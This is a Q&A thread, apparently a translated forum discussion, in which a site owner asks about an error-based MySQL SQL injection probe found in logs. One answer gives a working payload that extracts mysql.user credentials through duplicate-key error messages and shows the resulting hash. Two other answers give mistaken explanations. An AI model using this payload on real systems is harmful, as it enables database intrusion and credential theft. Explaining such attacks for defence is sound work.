Атака SQL Injection - что это делает?

Я обнаружил некоторые неудачные атаки SQL-инъекций на моем сайте. Ошиженные запросы имеют форму:

SELECT 6106 FROM(SELECT COUNT(*),':sjw:1:ukt:1'x FROM information_schema.tables GROUP BY x)

Часть ':sjw:1:ukt:1' специально сконструирована с объединенными вместе переменными для получения случайных 0 или 1 и т.д.

Я хотел бы знать, что делают эти запросы?

База данных - это MySQL.

Обновление: Вот исходный SQL-код:

(SELECT 6106
 FROM  (SELECT COUNT(*),
               CONCAT(
                        CHAR(58, 115, 106, 119, 58), 
                        (SELECT ( CASE WHEN ( 6106 = 6106 ) THEN 1 ELSE 0 END )), 
                        CHAR(58, 117, 107, 116, 58), 
                        FLOOR(RAND(0) * 2)
                      ) x
        FROM   INFORMATION_SCHEMA.TABLES
        GROUP  BY x)a) 

Сбой с сообщением

Повторяющаяся запись ': sjw: 1: ukt: 1' для ключа 'group_key'

Ответ 1

Что действительно делает атака

Есть тонкая, но умная деталь об этой атаке, которую пропустили другие ответчики. Обратите внимание на сообщение об ошибке Duplicate entry ':sjw:1:ukt:1' for key 'group_key'. Строка :sjw:1:ukt:1 на самом деле является результатом выражения, оцениваемого вашим сервером MySQL. Если ваше приложение отправляет строку ошибок MySQL обратно в браузер, сообщение может вывести данные из из вашей базы данных.

Такая атака используется в тех случаях, когда результат запроса иначе не отправляется обратно в браузер (скрытая инъекция SQL) или когда классическая атака UNION SELECT сложна для снятия. Он также работает в запросах INSERT/UPDATE/DELETE.

Как отмечает Хаули, исходный конкретный запрос не предполагал утечки какой-либо информации, это был просто тест, чтобы проверить, не уязвимо ли ваше приложение для такого типа инъекций.

Атака не сработала, как предположил MvG, в результате чего эта ошибка является целью запроса.

Лучший пример того, как это можно использовать:

> SELECT COUNT(*),CONCAT((SELECT CONCAT(user,password) FROM mysql.user LIMIT 1),
>                        0x20, FLOOR(RAND(0)*2)) x
> FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key 'group_key'

Почему возникает ошибка?

Почему запрос вызывает эту ошибку в MySQL, является для меня загадкой. Это похоже на ошибку MySQL, так как GROUP BY должен иметь дело с дублирующимися записями путем их агрегации. Халили упрощение запроса, по сути, не вызывает ошибки!

Выражение FLOOR(RAND(0)*2) дает следующие результаты в порядке, основанном на случайном аргументе семени 0:

> SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 | <-- error happens here
| 0 |
| 1 |
| 1 |
 ...

Поскольку третье значение является дубликатом второго, эта ошибка возникает. Можно использовать любую таблицу FROM с по меньшей мере тремя строками, но information_schema.tables является общей. Части COUNT (*) и GROUP BY необходимы, чтобы спровоцировать ошибку в MySQL:

> SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

Эта ошибка не возникает в эквивалентном по PostgreSQL запросе:

# SELECT SETSEED(0);
# SELECT COUNT(*),FLOOR(RANDOM()*2)x FROM information_schema.tables GROUP BY x;
 count | x 
-------+---
    83 | 0
    90 | 1

(Извините, что ответил на один год, но я просто наткнулся на это сегодня. Этот вопрос мне интересен, потому что я не знал, что есть способы утечки данных через сообщения об ошибках из MySQL)

Ответ 2

Выполнение подзапроса в скобках даст вам количество таблиц в вашей системе. Я предполагаю, что главной целью может быть создание запросов и просмотр того, где в сгенерированном HTML появляется выход. Таким образом, случайная строка. Внешний SELECT недействителен, так как его подзапрос не имеет псевдонима. Поэтому я предполагаю, что эта некорректность была причиной этой атаки. Возможно, они пытались увидеть, какие синтаксические конструкции они могут вставить, и которые будут разбивать запрос.

Ответ 3

Select просто выведет номер, поэтому ответ всегда будет 6106 в вашем случае

SELECT COUNT(*),':sjw:1:ukt:1'x FROM information_schema.tables GROUP BY x 

должен дать другой ответ, он даст количество таблиц в системе плюс случайный текст, вставленный под именем x, thats all

Короче говоря, это бессмысленный запрос, результат для внутреннего запроса никогда не отображается, результат всего запроса предопределен, кажется, что инъекция каким-то образом автоматизирована для регистрации атаки с использованием этого странного способа.